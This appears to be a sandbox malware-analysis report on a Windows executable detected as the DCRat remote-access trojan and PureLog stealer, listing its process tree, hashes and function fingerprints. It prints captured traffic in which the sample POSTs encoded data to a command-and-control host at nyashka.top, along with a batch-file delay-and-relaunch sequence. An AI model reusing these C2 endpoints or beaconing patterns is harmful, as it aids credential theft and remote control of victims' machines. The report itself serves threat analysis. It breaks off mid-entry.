Jan 7, 2025 11:59:01.250967979 CET	284	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 2536 Expect: 100-continue Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.4	50144	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:59:01.410612106 CET	284	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 1860 Expect: 100-continue Connection: Keep-Alive
Jan 7, 2025 11:59:01.761373043 CET	1860	OUT	Data Raw: 50 5c 5c 5b 5a 43 59 55 5a 59 51 55 5a 5f 50 55 55 5e 5b 5c 55 5f 54 5d 59 59 59 51 5e 59 5d 5e 5c 5d 56 45 52 5a 56 5d 5f 51 54 5d 5b 5e 52 5a 56 57 5e 5c 5a 53 51 5f 52 57 50 5e 5b 56 5d 59 58 53 5a 58 5a 58 58 54 5f 58 5f 5e 5e 5c 5e 54 50 5f Data Ascii: P\\[ZCYUZYQUZ_PUU^[\U_T]YYYQ^Y]^\]VERZV]_QT][^RZVW^\ZSQ_RWP^[V]YXSZXZXXT_X_^^\^TP_\WVE\[SZYY[XZV^ZBVZ\[XZ]][_UGQ^G[QXXTP[PY\P\B[__[_ZXU^\_XRTWYRX[\]X\[@BYG[X_PUYS_]]^\]S_ZTQX_S]YTP[QXU%"=<3[63Z&5U3;5]3<>"3=3$#(X,$%[/ Q-$
Jan 7, 2025 11:59:02.051342964 CET	25	IN	HTTP/1.1 100 Continue
Jan 7, 2025 11:59:02.183923960 CET	308	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 10:58:58 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 152 Connection: keep-alive Data Raw: 06 12 26 5b 22 1d 23 57 33 2d 23 50 24 16 3a 1d 29 31 22 03 29 20 36 5f 24 5e 30 0f 26 3c 23 10 21 05 23 18 3e 2c 2d 15 35 0e 0f 09 26 29 28 5c 00 1b 24 59 30 31 27 56 3d 32 2a 53 25 51 21 05 31 22 0e 15 21 2d 3d 0c 21 2a 39 56 20 13 24 53 2d 00 0e 0e 3c 24 0e 01 2d 37 02 04 20 29 20 51 0d 17 38 52 24 3e 2c 5f 30 05 3e 11 22 37 34 1c 22 35 26 04 32 12 32 5a 32 2e 27 11 3f 39 1d 06 21 2c 0f 5d 21 38 30 0e 20 3a 00 52 3d 3c 23 5d 22 00 20 52 0d 33 58 4f Data Ascii: &["#W3-#P$:)1") 6_$^0&<#!#>,-5&)(\$Y01'V=2S%Q!1"!-=!9V $S-<$-7 ) Q8R$>,_0>"74"5&22Z2.'?9!,]!80 :R=<#]" R3XO

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.4	50145	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:59:01.535856962 CET	284	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 2536 Expect: 100-continue Connection: Keep-Alive
Jan 7, 2025 11:59:01.886528015 CET	2536	OUT	Data Raw: 50 5f 5c 52 5f 44 59 57 5a 59 51 55 5a 5a 50 57 55 5e 5b 5a 55 54 54 5a 59 59 59 51 5e 59 5d 5e 5c 5d 56 45 52 5a 56 5d 5f 51 54 5d 5b 5e 52 5a 56 57 5e 5c 5a 53 51 5f 52 57 50 5e 5b 56 5d 59 58 53 5a 58 5a 58 58 54 5f 58 5f 5e 5e 5c 5e 54 50 5f Data Ascii: P_\R_DYWZYQUZZPWU^[ZUTTZYYYQ^Y]^\]VERZV]_QT][^RZVW^\ZSQ_RWP^[V]YXSZXZXXT_X_^^\^TP_\WVE\[SZYY[XZV^ZBVZ\[XZ]][_UGQ^G[QXXTP[PY\P\B[__[_ZXU^\_XRTWYRX[\]X\[@BYG[X_PUYS_]]^\]S_ZTQX_S]YTP[QXU%]?1?3860/\3$^)^0%6.$U>90? 0:4%[/ Q-0
Jan 7, 2025 11:59:02.172408104 CET	25	IN	HTTP/1.1 100 Continue
Jan 7, 2025 11:59:02.303039074 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 10:58:58 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 34 5a 5f 57 Data Ascii: 4Z_W

Target ID:	0
Start time:	05:56:56
Start date:	07/01/2025
Path:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\Z90Z9bYzPa.exe"
Imagebase:	0xea0000
File size:	1'956'352 bytes
MD5 hash:	F022320106EBE6EF239CB75C93F6B3AD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000000.00000000.1668200859.0000000000EA2000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000000.00000002.1710313618.0000000013768000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	05:56:59
Start date:	07/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\JcekoaVTX1.bat"
Imagebase:	0x7ff73a7b0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	05:56:59
Start date:	07/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	05:57:00
Start date:	07/01/2025
Path:	C:\Windows\System32\chcp.com
Wow64 process (32bit):	false
Commandline:	chcp 65001
Imagebase:	0x7ff736870000
File size:	14'848 bytes
MD5 hash:	33395C4732A49065EA72590B14B64F32
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	05:57:00
Start date:	07/01/2025
Path:	C:\Windows\System32\PING.EXE
Wow64 process (32bit):	false
Commandline:	ping -n 10 localhost
Imagebase:	0x7ff6e72d0000
File size:	22'528 bytes
MD5 hash:	2F46799D79D22AC72C241EC0322B011D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	05:57:10
Start date:	07/01/2025
Path:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\Z90Z9bYzPa.exe"
Imagebase:	0xb40000
File size:	1'956'352 bytes
MD5 hash:	F022320106EBE6EF239CB75C93F6B3AD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000005.00000002.2925525907.0000000003126000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000005.00000002.2925525907.00000000035AE000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	8.1%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	4
Total number of Limit Nodes:	0

Executed Functions

Function 00007FFD9B880D48 Relevance: 1.5, Strings: 1, Instructions: 259
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

5[_H, xrefs: 00007FFD9B880DF3

Memory Dump Source

Source File: 00000000.00000002.1712785000.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b880000_Z90Z9bYzPa.jbxd

Similarity

API ID:
String ID: 5[_H
API String ID: 0-3279724263
Opcode ID: 0f321d6a259049583b3e8759271eb6e9b9df023ddcfbb295efb370396df422b4
Instruction ID: 5a9b5659b1b58f9ee13f0f0858168d07ffe75e75931d865b950e972fe83bee86
Opcode Fuzzy Hash: 0f321d6a259049583b3e8759271eb6e9b9df023ddcfbb295efb370396df422b4
Instruction Fuzzy Hash: E0913571A19A8D8FE789DB688865BA97FE1FF99710F4000BFD059C72E2EB782401C741

Function 00007FFD9BC7C0D1 Relevance: 1.8, APIs: 1, Instructions: 253
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

QueryFullProcessImageNameA.KERNEL32 ref: 00007FFD9BC7C281

Memory Dump Source

Source File: 00000000.00000002.1716061027.00007FFD9BC70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9bc70000_Z90Z9bYzPa.jbxd

Similarity

API ID: FullImageNameProcessQuery
String ID:
API String ID: 3578328331-0
Opcode ID: 8b5711d3a3d21f3e4ad44df4ad70656fd817d9cdb6bc118f4453e413ec63bbd1
Instruction ID: a89087ca9b8a2d210b873fddf040b61caf6edbbe5deb9c46406e87c77cdc66c6
Opcode Fuzzy Hash: 8b5711d3a3d21f3e4ad44df4ad70656fd817d9cdb6bc118f4453e413ec63bbd1
Instruction Fuzzy Hash: D771A130618A8D8FDB68DF68C8967F937E1FB59311F04427EE84EC7292CB7499458B81

Function 00007FFD9B880998 Relevance: .1, Instructions: 123COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1712785000.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b880000_Z90Z9bYzPa.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eb0c093f6a2ae5665b3613bc2c48bf35fe139b744575b637cf6ec3ed2cfdb04b
Instruction ID: d4b436e6e0140cc09cff4a9cbaeae3b4d8db3d0bbcd8b83f45a9ba16204761d7
Opcode Fuzzy Hash: eb0c093f6a2ae5665b3613bc2c48bf35fe139b744575b637cf6ec3ed2cfdb04b
Instruction Fuzzy Hash: 9031C920B19D1D1FE798FB6C986A67972D2EB9C315F410079E41DC32E6ED38AC428781

Function 00007FFD9B880908 Relevance: .1, Instructions: 118COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1712785000.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b880000_Z90Z9bYzPa.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 26b800899c5ca6fe2d029cff6c86da5b656e20d03c3462e1bc8c61accf41362a
Instruction ID: 0e6bc1c8dd05a1abcf399898cb4fc3d06891eab2f8711503b2e526c8ba1a01da
Opcode Fuzzy Hash: 26b800899c5ca6fe2d029cff6c86da5b656e20d03c3462e1bc8c61accf41362a
Instruction Fuzzy Hash: 1E21A53130DC184FD768EB5CE889DB973D1EB9932171501BAE59AC7135E921EC8287C1

Function 00007FFD9B88116D Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1712785000.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b880000_Z90Z9bYzPa.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 421ceb0ffe7ee6fceb15a6439ba3ef7ef566808e396404f2c0dc2374b691bbb0
Instruction ID: 62fce60a72a9a76796da6606e5a096941f6635ef499f2bb9b7bd3dfc9a2a6067
Opcode Fuzzy Hash: 421ceb0ffe7ee6fceb15a6439ba3ef7ef566808e396404f2c0dc2374b691bbb0
Instruction Fuzzy Hash: 9931E730A09A4E8FDB56EB64C864DB87BF0FF5A310F0505BAC019D72A2DF38A441CB00

Function 00007FFD9B880C25 Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1712785000.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b880000_Z90Z9bYzPa.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 87e0e81b1106992198aaa4e67dfb6af59cc88e937e7d51b5428598f17d72015f
Instruction ID: 70154102dbbb78ca553c418dbf8e3cde3e51fe65a46abf9754860a6cbc9f410b
Opcode Fuzzy Hash: 87e0e81b1106992198aaa4e67dfb6af59cc88e937e7d51b5428598f17d72015f
Instruction Fuzzy Hash: 9C214C36B1D64D8BE712ABA8AC210DC7760EF86325F0541F3D058CB1D3D93826469391

Function 00007FFD9B9E4625 Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1713612187.00007FFD9B9E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B9E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b9e0000_Z90Z9bYzPa.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 97d114ad7afe3850d216ae33dacdcf94d5979baae73fb2f945759ed8579bb6eb
Instruction ID: 79aed07a064fd5e5f72ed95fa7ca0e4f4e6734b43c00ef16cdae6bae29d1bb07
Opcode Fuzzy Hash: 97d114ad7afe3850d216ae33dacdcf94d5979baae73fb2f945759ed8579bb6eb
Instruction Fuzzy Hash: A72165B1E1DA895BEB9CEF18C8A5E64B7E1EB64740F0445BDD04CC3292DE397A818B41

Function 00007FFD9B8808F8 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1712785000.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b880000_Z90Z9bYzPa.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8b30be21b6b2e2cdb1f28efa141e36c229a948edff8bde0724f40223f7271ae4
Instruction ID: 1f95c9c7fbe11289c6b6c5180c227866676d364adb98fe5c319ed4f42f978869
Opcode Fuzzy Hash: 8b30be21b6b2e2cdb1f28efa141e36c229a948edff8bde0724f40223f7271ae4
Instruction Fuzzy Hash: 8401D831B1ED1D0F9978915D585A93573C2E7CAA307161279D85EC3256DC20AC5343C0

Function 00007FFD9B886D04 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1712785000.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b880000_Z90Z9bYzPa.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fed23561ea052068941825690812d646c1b601278b1f54c0b743d6dd13ea2909
Instruction ID: 51d819b3d9f7118c5495f03eb6af9535b6327343c24e3b78cc0e979a12cee8fb
Opcode Fuzzy Hash: fed23561ea052068941825690812d646c1b601278b1f54c0b743d6dd13ea2909
Instruction Fuzzy Hash: 2B117360F19D0D4BE7B4E75498666B87391FF48700F5101B5E86DD72A2EE38AE408685

Function 00007FFD9B880C38 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1712785000.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b880000_Z90Z9bYzPa.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 70f92031c1d92ef98d3513fd0482377ee2bf6eb88fa4605258b6585a31972b57
Instruction ID: 8e315469fb8090def23a4157c27a8c1d68d4a99293051346b5755fb913190fa6
Opcode Fuzzy Hash: 70f92031c1d92ef98d3513fd0482377ee2bf6eb88fa4605258b6585a31972b57
Instruction Fuzzy Hash: 78110631B1EA4D8FE7129FB4882119C7BB0EF56710F0644B3C054DB1A2D5382B498790

Function 00007FFD9B880C40 Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1712785000.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b880000_Z90Z9bYzPa.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3cd3ec572e717ef32bf7f65ca606ec751998278ac4ea6d773a01082de461b169
Instruction ID: 70c58308fa89f6ec7d16071873fcc47ad16e776503b1f480469c45b62507cd37
Opcode Fuzzy Hash: 3cd3ec572e717ef32bf7f65ca606ec751998278ac4ea6d773a01082de461b169
Instruction Fuzzy Hash: 3D01ED32B1EA8C8FE7229FA4882019C7BB0EF56710F0640F3D054DB2A2D9386B498790

Function 00007FFD9B880C48 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1712785000.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b880000_Z90Z9bYzPa.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d215cf44c839fe5fe1e0f627055824f808eada76360636272eb0d1c3ae9472ea
Instruction ID: 944eadd8ead87be530bfca1fcd37c08bdaee1408a7c8a91322d84a0a9c123244
Opcode Fuzzy Hash: d215cf44c839fe5fe1e0f627055824f808eada76360636272eb0d1c3ae9472ea
Instruction Fuzzy Hash: 4E019E31E1EA8D9FE712DFB4886019D7BB0EF16714F1641F3D054DB2A2E9386B458781

Function 00007FFD9B880C50 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1712785000.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b880000_Z90Z9bYzPa.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 332bf0a41f1fae592f3ba302e9150512cfa17d9af7455ba1a922510162098f68
Instruction ID: 8209d5228cea2e8380c3c50f8d4275420f55f8197fee9e3fa3c528fee7bb39eb
Opcode Fuzzy Hash: 332bf0a41f1fae592f3ba302e9150512cfa17d9af7455ba1a922510162098f68
Instruction Fuzzy Hash: 33018F31E1EB8D9FE722DBB4886019D7BB0EF16714F1641E3D054DB2A2E9386B448741

Function 00007FFD9B886E47 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1712785000.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b880000_Z90Z9bYzPa.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 24517391dc8f2338c90f112db067399e4f7ca1e83e3585b8bf21f41921def45b
Instruction ID: a760c96cf8bfa9b209ec8e6e3f15c511ef7e8ec049293168bd2bf9fabce4f436
Opcode Fuzzy Hash: 24517391dc8f2338c90f112db067399e4f7ca1e83e3585b8bf21f41921def45b
Instruction Fuzzy Hash: 21018670A0991E8BEB74EB40D865BF873A2FF58301F1540F9D46DD31A2DD386AC58B40

Function 00007FFD9B886749 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1712785000.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b880000_Z90Z9bYzPa.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2c90b2d7960be35fe3eba59ac8f9014491fec9baf02dde840b3c153272f31dd5
Instruction ID: 9360553605d7faf6f515649d820e734edd6caa484a2b6f9d7b1658d18a6df960
Opcode Fuzzy Hash: 2c90b2d7960be35fe3eba59ac8f9014491fec9baf02dde840b3c153272f31dd5
Instruction Fuzzy Hash: 5AF04434908A18CFCB54EF14C495A99B3F1FB6C311F400299C40ED7264DA34EE41CF81

Function 00007FFD9B882B95 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1712785000.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b880000_Z90Z9bYzPa.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6d3f9b342c61727428bac72a3f567f04cc8b5ee24bd3c753c963c04710109407
Instruction ID: 8d18eaa5c9943f3be3ae0b19f1b4d1a787c7a0e83dca9b1ee2fd92ba6b770351
Opcode Fuzzy Hash: 6d3f9b342c61727428bac72a3f567f04cc8b5ee24bd3c753c963c04710109407
Instruction Fuzzy Hash: 92E04853F0BD5D4BF6A4ABD8147527841D1EB6C522F1502F7D42DD21E1EC251D410741

Function 00007FFD9B8867D3 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1712785000.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b880000_Z90Z9bYzPa.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 387176052a9ed9762d15d39a8261f89721cbbeaf85a3c89c7d2c10813919d9d5
Instruction ID: d8fc04455c7f2cf52d872c03b28a5be0df8834fe4edde3a2f05ca152d63f6b9b
Opcode Fuzzy Hash: 387176052a9ed9762d15d39a8261f89721cbbeaf85a3c89c7d2c10813919d9d5
Instruction Fuzzy Hash: 5DE09234E0D919CBE724FB58C855AE873B1FB5D320F0102B1C40D972A9D938AE418BC1

Function 00007FFD9B884FBF Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1712785000.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b880000_Z90Z9bYzPa.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8c43a74195e866c2feb1add02196c185ba00cb4e5a17d4b2d7937f39401e8536
Instruction ID: 4b7323e47b651e0574d6d1346c03562788fe0ab8c8a04ca041c1fe3fcf08c605
Opcode Fuzzy Hash: 8c43a74195e866c2feb1add02196c185ba00cb4e5a17d4b2d7937f39401e8536
Instruction Fuzzy Hash: E1E0ED30F0A91E4BF7B4E754C8617F962619F8C300F1640B4D51E932E1DD386E814B80

Function 00007FFD9B885811 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1712785000.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b880000_Z90Z9bYzPa.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8322a218efd90c0ac7e0e1d18fdc4b57923bea2f63ee8117679f8026facf56fa
Instruction ID: b4d76c5bf0c430c3810809072640c99c52e5939101f31f079badcd695287730e
Opcode Fuzzy Hash: 8322a218efd90c0ac7e0e1d18fdc4b57923bea2f63ee8117679f8026facf56fa
Instruction Fuzzy Hash: D3E0EC01F6D94947F7ACA7A854323B85082DF9C714F4A41BAA06DC32D3DC182D800392

Function 00007FFD9B880B95 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1712785000.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b880000_Z90Z9bYzPa.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 84da47e8a84d7c7bda6fe4433242c964a2a7c5542f6b8e5b554b8c59c440ec5d
Instruction ID: 30d8f825e2e784e833ba72715f8cab63adc83485aa50af9b4c20dc1c1ba067a7
Opcode Fuzzy Hash: 84da47e8a84d7c7bda6fe4433242c964a2a7c5542f6b8e5b554b8c59c440ec5d
Instruction Fuzzy Hash: 80D0A930229A4E8FCA00B778C88A824BBA0FB4F210BCA10E5E008C75A6C62888998700

Function 00007FFD9B8806A5 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1712785000.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b880000_Z90Z9bYzPa.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1e6af4b1dde3b3b4c60702c7c00afd52793da916a1145a840a7ddb4870ed55d0
Instruction ID: 5ddf8b8b6e5d64db6956eaa2c7de5bccac295ded5495e64f1dd4bb73c53948dc
Opcode Fuzzy Hash: 1e6af4b1dde3b3b4c60702c7c00afd52793da916a1145a840a7ddb4870ed55d0
Instruction Fuzzy Hash: C7C04C05F6FE1F03F875B3EE98660ACA1405FDDA14FE70172D56C401F29C6E22D64196

Function 00007FFD9B88712A Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1712785000.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b880000_Z90Z9bYzPa.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 91616530021b72ad043661be5d0ea6f3b188bc7ecf6e5d93e2415d9390d87b80
Instruction ID: 48d7a11d8d6b1249210a25295a7b5ae80572ade319b4710b4211fc9b66a66119
Opcode Fuzzy Hash: 91616530021b72ad043661be5d0ea6f3b188bc7ecf6e5d93e2415d9390d87b80
Instruction Fuzzy Hash: A7C04C10F19C1E17E369B354542567E04569B48758F950475E01E872CEDD5C6E4202C7

Function 00007FFD9B8806C8 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1712785000.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b880000_Z90Z9bYzPa.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 70054709c1506bd416486de1d41ea9dcff867e447f90aa883842823fddab2fb9
Instruction ID: f82dc74e938a31fccc8e363fc6d431ae6dd2c904f504da572d2983db5475bfbf
Opcode Fuzzy Hash: 70054709c1506bd416486de1d41ea9dcff867e447f90aa883842823fddab2fb9
Instruction Fuzzy Hash: 24B01200D6BC0F02E46433FB0C530A470405F8C104FC30070D42C401A2985E12960282

Non-executed Functions

Function 00007FFD9B880E43 Relevance: .2, Instructions: 173COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1712785000.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b880000_Z90Z9bYzPa.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a224fd9c9f99d8d282d09da5c5c1a7dd72a140d6b63afc43c3c321fafb5062bd
Instruction ID: 82b20c093daca903c50a157becf89f172f4992841ae7f5d11dff11bfda613a7a
Opcode Fuzzy Hash: a224fd9c9f99d8d282d09da5c5c1a7dd72a140d6b63afc43c3c321fafb5062bd
Instruction Fuzzy Hash: 94510171A28A4D8FE798DB5C9869BA97BE0FB99724F4000BFD019C73E5DBB82411C700

Function 00007FFD9BC77CAD Relevance: .1, Instructions: 136COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1716061027.00007FFD9BC70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9bc70000_Z90Z9bYzPa.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c277476b5f91e4976aecd4b658a21b94aa0aea9c4b02e2d485341c35e6acd025
